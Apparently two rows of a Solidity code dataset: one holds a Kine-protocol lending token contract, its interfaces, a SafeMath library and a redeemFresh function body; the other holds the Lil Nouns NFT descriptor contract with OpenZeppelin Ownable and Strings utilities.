uint liquidatorTokensNew = accountTokens[liquidator].add(seizeTokens, LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED);
/////////////////////////
// EFFECTS & INTERACTIONS
/* We write the previously calculated values into storage */
accountTokens[borrower] = borrowerTokensNew;
accountTokens[liquidator] = liquidatorTokensNew;
/* Emit a Transfer event */
emit Transfer(borrower, liquidator, seizeTokens);
/* We call the defense hook */
controller.seizeVerify(address(this), seizerToken, liquidator, borrower, seizeTokens);
}
/*** Admin Functions ***/
/**
* @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @param newPendingAdmin New pending admin.
*/
function _setPendingAdmin(address payable newPendingAdmin) external onlyAdmin() {
address oldPendingAdmin = pendingAdmin;
pendingAdmin = newPendingAdmin;
emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin);
}
/**
* @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin
* @dev Admin function for pending admin to accept role and update admin
*/
function _acceptAdmin() external {
// Check caller is pendingAdmin and pendingAdmin ≠ address(0)
require(msg.sender == pendingAdmin && msg.sender != address(0), "unauthorized");
// Save current values for inclusion in log
address oldAdmin = admin;
address oldPendingAdmin = pendingAdmin;
// Store admin with value pendingAdmin
admin = pendingAdmin;
// Clear the pending value
pendingAdmin = address(0);
emit NewAdmin(oldAdmin, admin);
emit NewPendingAdmin(oldPendingAdmin, pendingAdmin);
}
/**
* @notice Sets a new controller for the market
* @dev Admin function to set a new controller
*/
function _setController(KineControllerInterface newController) public onlyAdmin() {
KineControllerInterface oldController = controller;
// Ensure invoke controller.isController() returns true
require(newController.isController(), "marker method returned false");
// Set market's controller to newController
controller = newController;
// Emit NewController(oldController, newController)
emit NewController(oldController, newController);
}
/**
* @notice Gets balance of this contract in terms of the underlying
* @dev This excludes the value of the current message, if any
* @return The quantity of underlying owned by this contract
*/
function getCashPrior() internal view returns (uint);
/**
* @dev Performs a transfer in, reverting upon failure. Returns the amount actually transferred to the protocol, in case of a fee.
* This may revert due to insufficient balance or insufficient allowance.
*/
function doTransferIn(address from, uint amount) internal returns (uint);
/**
* @dev Performs a transfer out, ideally returning an explanatory error code upon failure tather than reverting.
* If caller has not called checked protocol's balance, may revert due to insufficient cash held in the contract.
* If caller has checked protocol's balance, and verified it is >= amount, this should not revert in normal conditions.
*/
function doTransferOut(address payable to, uint amount) internal;
/*** Reentrancy Guard ***/
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
*/
modifier nonReentrant() {
require(_notEntered, "re-entered");
_notEntered = false;
_;
_notEntered = true;
// get a gas-refund post-Istanbul
}
}
pragma solidity ^0.5.16;
import "./KineControllerInterface.sol";
contract KTokenStorage {
/**
* @dev Guard variable for re-entrancy checks
*/
bool internal _notEntered;
/**
* @notice flag that kToken has been initialized;
*/
bool public initialized;
/**
* @notice EIP-20 token name for this token
*/
string public name;
/**
* @notice EIP-20 token symbol for this token
*/
string public symbol;
/**
* @notice EIP-20 token decimals for this token
*/
uint8 public decimals;
/**
* @notice Administrator for this contract
*/
address payable public admin;
/**
* @notice Pending administrator for this contract
*/
address payable public pendingAdmin;
/**
* @notice Contract which oversees inter-kToken operations
*/
KineControllerInterface public controller;
/**
* @notice Total number of tokens in circulation
*/
uint public totalSupply;
/**
* @notice Official record of token balances for each account
*/
mapping (address => uint) internal accountTokens;
/**
* @notice Approved token transfer amounts on behalf of others
*/
mapping (address => mapping (address => uint)) internal transferAllowances;
}
contract KTokenInterface is KTokenStorage {
/**
* @notice Indicator that this is a KToken contract (for inspection)
*/
bool public constant isKToken = true;
/*** Market Events ***/
/**
* @notice Event emitted when tokens are minted
*/
event Mint(address minter, uint mintAmount, uint mintTokens);
/**
* @notice Event emitted when tokens are redeemed
*/
event Redeem(address redeemer, uint redeemTokens);
/*** Admin Events ***/
/**
* @notice Event emitted when pendingAdmin is changed
*/
event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);
/**
* @notice Event emitted when pendingAdmin is accepted, which means admin is updated
*/
event NewAdmin(address oldAdmin, address newAdmin);
/**
* @notice Event emitted when controller is changed
*/
event NewController(KineControllerInterface oldController, KineControllerInterface newController);
/**
* @notice EIP20 Transfer event
*/
event Transfer(address indexed from, address indexed to, uint amount);
/**
* @notice EIP20 Approval event
*/
event Approval(address indexed owner, address indexed spender, uint amount);
/*** User Interface ***/
function transfer(address dst, uint amount) external returns (bool);
function transferFrom(address src, address dst, uint amount) external returns (bool);
function approve(address spender, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function getAccountSnapshot(address account) external view returns (uint, uint);
function getCash() external view returns (uint);
function seize(address liquidator, address borrower, uint seizeTokens) external;
/*** Admin Functions ***/
function _setPendingAdmin(address payable newPendingAdmin) external;
function _acceptAdmin() external;
function _setController(KineControllerInterface newController) public;
}
contract KErc20Storage {
/**
* @notice Underlying asset for this KToken
*/
address public underlying;
}
contract KErc20Interface is KErc20Storage {
/*** User Interface ***/
function mint(uint mintAmount) external returns (uint);
function redeem(uint redeemTokens) external;
}
contract KDelegationStorage {
/**
* @notice Implementation address for this contract
*/
address public implementation;
}
contract KDelegatorInterface is KDelegationStorage {
/**
* @notice Emitted when implementation is changed
*/
event NewImplementation(address oldImplementation, address newImplementation);
/**
* @notice Called by the admin to update the implementation of the delegator
* @param implementation_ The address of the new implementation for delegation
* @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation
* @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation
*/
function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public;
}
contract KDelegateInterface is KDelegationStorage {
/**
* @notice Called by the delegator on a delegate to initialize it for duty
* @dev Should revert if any issues arise which make it unfit for delegation
* @param data The encoded bytes data for any initialization
*/
function _becomeImplementation(bytes memory data) public;
/**
* @notice Called by the delegator on a delegate to forfeit its responsibility
*/
function _resignImplementation() public;
}
pragma solidity ^0.5.16;
/**
Copyright 2020 Compound Labs, Inc.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/**
* Original work from Compound: https://github.com/compound-finance/compound-protocol/blob/master/contracts/ComptrollerInterface.sol
* Modified to work in the Kine system.
* Main modifications:
* 1. removed Comp token related logics.
* 2. removed interest rate model related logics.
* 3. removed error code propagation mechanism to fail fast and loudly
*/
contract KineControllerInterface {
/// @notice Indicator that this is a Controller contract (for inspection)
bool public constant isController = true;
/// @notice oracle getter function
function getOracle() external view returns (address);
/*** Assets You Are In ***/
function enterMarkets(address[] calldata kTokens) external;
function exitMarket(address kToken) external;
/*** Policy Hooks ***/
function mintAllowed(address kToken, address minter, uint mintAmount) external returns (bool, string memory);
function mintVerify(address kToken, address minter, uint mintAmount, uint mintTokens) external;
function redeemAllowed(address kToken, address redeemer, uint redeemTokens) external returns (bool, string memory);
function redeemVerify(address kToken, address redeemer, uint redeemTokens) external;
function borrowAllowed(address kToken, address borrower, uint borrowAmount) external returns (bool, string memory);
function borrowVerify(address kToken, address borrower, uint borrowAmount) external;
function repayBorrowAllowed(
address kToken,
address payer,
address borrower,
uint repayAmount) external returns (bool, string memory);
function repayBorrowVerify(
address kToken,
address payer,
address borrower,
uint repayAmount) external;
function liquidateBorrowAllowed(
address kTokenBorrowed,
address kTokenCollateral,
address liquidator,
address borrower,
uint repayAmount) external returns (bool, string memory);
function liquidateBorrowVerify(
address kTokenBorrowed,
address kTokenCollateral,
address liquidator,
address borrower,
uint repayAmount,
uint seizeTokens) external;
function seizeAllowed(
address kTokenCollateral,
address kTokenBorrowed,
address liquidator,
address borrower,
uint seizeTokens) external returns (bool, string memory);
function seizeVerify(
address kTokenCollateral,
address kTokenBorrowed,
address liquidator,
address borrower,
uint seizeTokens) external;
function transferAllowed(address kToken, address src, address dst, uint transferTokens) external returns (bool, string memory);
function transferVerify(address kToken, address src, address dst, uint transferTokens) external;
/*** Liquidity/Liquidation Calculations ***/
function liquidateCalculateSeizeTokens(
address kTokenBorrowed,
address kTokenCollateral,
uint repayAmount) external view returns (uint);
}
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
/**
* Original work from OpenZeppelin: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v2.5.0/contracts/math/SafeMath.sol
* changes we made:
* 1. add two methods that take errorMessage as input parameter
*/
library KineSafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
* added by Kine
*/
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
* added by Kine
*/
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | User redeems kTokens in exchange for the underlying asset redeemer The address of the account which is redeeming the tokens redeemTokensIn The number of kTokens to redeem into underlying (only one of redeemTokensIn or redeemAmountIn may be non-zero)/ EFFECTS & INTERACTIONS | function redeemFresh(address payable redeemer, uint redeemTokensIn) internal {
require(redeemTokensIn != 0, "redeemTokensIn must not be zero");
RedeemLocalVars memory vars;
(bool allowed, string memory reason) = controller.redeemAllowed(address(this), redeemer, redeemTokensIn);
require(allowed, reason);
vars.totalSupplyNew = totalSupply.sub(redeemTokensIn, REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED);
vars.accountTokensNew = accountTokens[redeemer].sub(redeemTokensIn, REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED);
require(getCashPrior() >= redeemTokensIn, TOKEN_INSUFFICIENT_CASH);
totalSupply = vars.totalSupplyNew;
accountTokens[redeemer] = vars.accountTokensNew;
doTransferOut(redeemer, redeemTokensIn);
emit Transfer(redeemer, address(this), redeemTokensIn);
emit Redeem(redeemer, redeemTokensIn);
controller.redeemVerify(address(this), redeemer, redeemTokensIn);
| 163,801 |
// SPDX-License-Identifier: GPL-3.0
/// @title The Nouns NFT descriptor
/*********************************
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
* ░░░░░░█████████░░█████████░░░ *
* ░░░░░░██░░░████░░██░░░████░░░ *
* ░░██████░░░████████░░░████░░░ *
* ░░██░░██░░░████░░██░░░████░░░ *
* ░░██░░██░░░████░░██░░░████░░░ *
* ░░░░░░█████████░░█████████░░░ *
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
*********************************/
pragma solidity ^0.8.6;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";
import {ILilNounsDescriptor} from "./interfaces/ILilNounsDescriptor.sol";
import {INounsSeeder} from "./interfaces/INounsSeeder.sol";
import {NFTDescriptor} from "./libs/NFTDescriptor.sol";
import {MultiPartRLEToSVG} from "./libs/MultiPartRLEToSVG.sol";
contract LilNounsDescriptor is ILilNounsDescriptor, Ownable {
using Strings for uint256;
// prettier-ignore
// https://creativecommons.org/publicdomain/zero/1.0/legalcode.txt
// bytes32 constant COPYRIGHT_CC0_1_0_UNIVERSAL_LICENSE = 0xa2010f343487d3f7618affe54f789f5487602331c0a8d03f49e9a7c547cf0499;
// Whether or not new Noun parts can be added
bool public override arePartsLocked;
// Whether or not `tokenURI` should be returned as a data URI (Default: true)
bool public override isDataURIEnabled = true;
// Base URI
string public override baseURI;
// Noun Color Palettes (Index => Hex Colors)
mapping(uint8 => string[]) public override palettes;
// Noun Backgrounds (Hex Colors)
string[] public override backgrounds;
// Noun Bodies (Custom RLE)
bytes[] public override bodies;
// Noun Accessories (Custom RLE)
bytes[] public override accessories;
// Noun Heads (Custom RLE)
bytes[] public override heads;
// Noun Glasses (Custom RLE)
bytes[] public override glasses;
/**
* @notice Require that the parts have not been locked.
*/
modifier whenPartsNotLocked() {
require(!arePartsLocked, "Parts are locked");
_;
}
/**
* @notice Get the number of available Noun `backgrounds`.
*/
function backgroundCount() external view override returns (uint256) {
return backgrounds.length;
}
/**
* @notice Get the number of available Noun `bodies`.
*/
function bodyCount() external view override returns (uint256) {
return bodies.length;
}
/**
* @notice Get the number of available Noun `accessories`.
*/
function accessoryCount() external view override returns (uint256) {
return accessories.length;
}
/**
* @notice Get the number of available Noun `heads`.
*/
function headCount() external view override returns (uint256) {
return heads.length;
}
/**
* @notice Get the number of available Noun `glasses`.
*/
function glassesCount() external view override returns (uint256) {
return glasses.length;
}
/**
* @notice Add colors to a color palette.
* @dev This function can only be called by the owner.
*/
function addManyColorsToPalette(
uint8 paletteIndex,
string[] calldata newColors
) external override onlyOwner {
require(
palettes[paletteIndex].length + newColors.length <= 288,
"Palettes can only hold 288 colors"
);
for (uint256 i = 0; i < newColors.length; i++) {
_addColorToPalette(paletteIndex, newColors[i]);
}
}
/**
* @notice Batch add Noun backgrounds.
* @dev This function can only be called by the owner when not locked.
*/
function addManyBackgrounds(string[] calldata _backgrounds)
external
override
onlyOwner
whenPartsNotLocked
{
for (uint256 i = 0; i < _backgrounds.length; i++) {
_addBackground(_backgrounds[i]);
}
}
/**
* @notice Batch add Noun bodies.
* @dev This function can only be called by the owner when not locked.
*/
function addManyBodies(bytes[] calldata _bodies)
external
override
onlyOwner
whenPartsNotLocked
{
for (uint256 i = 0; i < _bodies.length; i++) {
_addBody(_bodies[i]);
}
}
/**
* @notice Batch add Noun accessories.
* @dev This function can only be called by the owner when not locked.
*/
function addManyAccessories(bytes[] calldata _accessories)
external
override
onlyOwner
whenPartsNotLocked
{
for (uint256 i = 0; i < _accessories.length; i++) {
_addAccessory(_accessories[i]);
}
}
/**
* @notice Batch add Noun heads.
* @dev This function can only be called by the owner when not locked.
*/
function addManyHeads(bytes[] calldata _heads)
external
override
onlyOwner
whenPartsNotLocked
{
for (uint256 i = 0; i < _heads.length; i++) {
_addHead(_heads[i]);
}
}
/**
* @notice Batch add Noun glasses.
* @dev This function can only be called by the owner when not locked.
*/
function addManyGlasses(bytes[] calldata _glasses)
external
override
onlyOwner
whenPartsNotLocked
{
for (uint256 i = 0; i < _glasses.length; i++) {
_addGlasses(_glasses[i]);
}
}
/**
* @notice Add a single color to a color palette.
* @dev This function can only be called by the owner.
*/
function addColorToPalette(uint8 _paletteIndex, string calldata _color)
external
override
onlyOwner
{
require(
palettes[_paletteIndex].length <= 287,
"Palettes can only hold 288 colors"
);
_addColorToPalette(_paletteIndex, _color);
}
/**
* @notice Add a Noun background.
* @dev This function can only be called by the owner when not locked.
*/
function addBackground(string calldata _background)
external
override
onlyOwner
whenPartsNotLocked
{
_addBackground(_background);
}
/**
* @notice Add a Noun body.
* @dev This function can only be called by the owner when not locked.
*/
function addBody(bytes calldata _body)
external
override
onlyOwner
whenPartsNotLocked
{
_addBody(_body);
}
/**
* @notice Add a Noun accessory.
* @dev This function can only be called by the owner when not locked.
*/
function addAccessory(bytes calldata _accessory)
external
override
onlyOwner
whenPartsNotLocked
{
_addAccessory(_accessory);
}
/**
* @notice Add a Noun head.
* @dev This function can only be called by the owner when not locked.
*/
function addHead(bytes calldata _head)
external
override
onlyOwner
whenPartsNotLocked
{
_addHead(_head);
}
/**
* @notice Add Noun glasses.
* @dev This function can only be called by the owner when not locked.
*/
function addGlasses(bytes calldata _glasses)
external
override
onlyOwner
whenPartsNotLocked
{
_addGlasses(_glasses);
}
/**
* @notice Lock all Noun parts.
* @dev This cannot be reversed and can only be called by the owner when not locked.
*/
function lockParts() external override onlyOwner whenPartsNotLocked {
arePartsLocked = true;
emit PartsLocked();
}
/**
* @notice Toggle a boolean value which determines if `tokenURI` returns a data URI
* or an HTTP URL.
* @dev This can only be called by the owner.
*/
function toggleDataURIEnabled() external override onlyOwner {
bool enabled = !isDataURIEnabled;
isDataURIEnabled = enabled;
emit DataURIToggled(enabled);
}
/**
* @notice Set the base URI for all token IDs. It is automatically
* added as a prefix to the value returned in {tokenURI}, or to the
* token ID if {tokenURI} is empty.
* @dev This can only be called by the owner.
*/
function setBaseURI(string calldata _baseURI) external override onlyOwner {
baseURI = _baseURI;
emit BaseURIUpdated(_baseURI);
}
/**
* @notice Given a token ID and seed, construct a token URI for an official Nouns DAO noun.
* @dev The returned value may be a base64 encoded data URI or an API URL.
*/
function tokenURI(uint256 tokenId, INounsSeeder.Seed memory seed)
external
view
override
returns (string memory)
{
if (isDataURIEnabled) {
return dataURI(tokenId, seed);
}
return string(abi.encodePacked(baseURI, tokenId.toString()));
}
/**
* @notice Given a token ID and seed, construct a base64 encoded data URI for an official Nouns DAO noun.
*/
function dataURI(uint256 tokenId, INounsSeeder.Seed memory seed)
public
view
override
returns (string memory)
{
string memory nounId = tokenId.toString();
string memory name = string(abi.encodePacked("Noun ", nounId));
string memory description = string(
abi.encodePacked("Noun ", nounId, " is a member of the Nouns DAO")
);
return genericDataURI(name, description, seed);
}
/**
* @notice Given a name, description, and seed, construct a base64 encoded data URI.
*/
function genericDataURI(
string memory name,
string memory description,
INounsSeeder.Seed memory seed
) public view override returns (string memory) {
NFTDescriptor.TokenURIParams memory params = NFTDescriptor
.TokenURIParams({
name: name,
description: description,
parts: _getPartsForSeed(seed),
background: backgrounds[seed.background]
});
return NFTDescriptor.constructTokenURI(params, palettes);
}
/**
* @notice Given a seed, construct a base64 encoded SVG image.
*/
function generateSVGImage(INounsSeeder.Seed memory seed)
external
view
override
returns (string memory)
{
MultiPartRLEToSVG.SVGParams memory params = MultiPartRLEToSVG
.SVGParams({
parts: _getPartsForSeed(seed),
background: backgrounds[seed.background]
});
return NFTDescriptor.generateSVGImage(params, palettes);
}
/**
* @notice Add a single color to a color palette.
*/
function _addColorToPalette(uint8 _paletteIndex, string calldata _color)
internal
{
palettes[_paletteIndex].push(_color);
}
/**
* @notice Add a Noun background.
*/
function _addBackground(string calldata _background) internal {
backgrounds.push(_background);
}
/**
* @notice Add a Noun body.
*/
function _addBody(bytes calldata _body) internal {
bodies.push(_body);
}
/**
* @notice Add a Noun accessory.
*/
function _addAccessory(bytes calldata _accessory) internal {
accessories.push(_accessory);
}
/**
* @notice Add a Noun head.
*/
function _addHead(bytes calldata _head) internal {
heads.push(_head);
}
/**
* @notice Add Noun glasses.
*/
function _addGlasses(bytes calldata _glasses) internal {
glasses.push(_glasses);
}
/**
* @notice Get all Noun parts for the passed `seed`.
*/
function _getPartsForSeed(INounsSeeder.Seed memory seed)
internal
view
returns (bytes[] memory)
{
bytes[] memory _parts = new bytes[](4);
_parts[0] = bodies[seed.body];
_parts[1] = accessories[seed.accessory];
_parts[2] = heads[seed.head];
_parts[3] = glasses[seed.glasses];
return _parts;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: GPL-3.0
/// @title Interface for NounsDescriptor
/*********************************
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
* ░░░░░░█████████░░█████████░░░ *
* ░░░░░░██░░░████░░██░░░████░░░ *
* ░░██████░░░████████░░░████░░░ *
* ░░██░░██░░░████░░██░░░████░░░ *
* ░░██░░██░░░████░░██░░░████░░░ *
* ░░░░░░█████████░░█████████░░░ *
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
*********************************/
pragma solidity ^0.8.6;
import { INounsSeeder } from "./INounsSeeder.sol";
interface ILilNounsDescriptor {
event PartsLocked();
event DataURIToggled(bool enabled);
event BaseURIUpdated(string baseURI);
function arePartsLocked() external returns (bool);
function isDataURIEnabled() external returns (bool);
function baseURI() external returns (string memory);
function palettes(uint8 paletteIndex, uint256 colorIndex) external view returns (string memory);
function backgrounds(uint256 index) external view returns (string memory);
function bodies(uint256 index) external view returns (bytes memory);
function accessories(uint256 index) external view returns (bytes memory);
function heads(uint256 index) external view returns (bytes memory);
function glasses(uint256 index) external view returns (bytes memory);
function backgroundCount() external view returns (uint256);
function bodyCount() external view returns (uint256);
function accessoryCount() external view returns (uint256);
function headCount() external view returns (uint256);
function glassesCount() external view returns (uint256);
function addManyColorsToPalette(uint8 paletteIndex, string[] calldata newColors) external;
function addManyBackgrounds(string[] calldata backgrounds) external;
function addManyBodies(bytes[] calldata bodies) external;
function addManyAccessories(bytes[] calldata accessories) external;
function addManyHeads(bytes[] calldata heads) external;
function addManyGlasses(bytes[] calldata glasses) external;
function addColorToPalette(uint8 paletteIndex, string calldata color) external;
function addBackground(string calldata background) external;
function addBody(bytes calldata body) external;
function addAccessory(bytes calldata accessory) external;
function addHead(bytes calldata head) external;
function addGlasses(bytes calldata glasses) external;
function lockParts() external;
function toggleDataURIEnabled() external;
function setBaseURI(string calldata baseURI) external;
function tokenURI(uint256 tokenId, INounsSeeder.Seed memory seed) external view returns (string memory);
function dataURI(uint256 tokenId, INounsSeeder.Seed memory seed) external view returns (string memory);
function genericDataURI(
string calldata name,
string calldata description,
INounsSeeder.Seed memory seed
) external view returns (string memory);
function generateSVGImage(INounsSeeder.Seed memory seed) external view returns (string memory);
}
//SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.6;
import {ILilNounsDescriptor} from "./ILilNounsDescriptor.sol";
interface INounsSeeder {
struct Seed {
uint48 background;
uint48 body;
uint48 accessory;
uint48 head;
uint48 glasses;
}
function generateSeed(uint256 nounId, ILilNounsDescriptor descriptor)
external
view
returns (Seed memory);
}
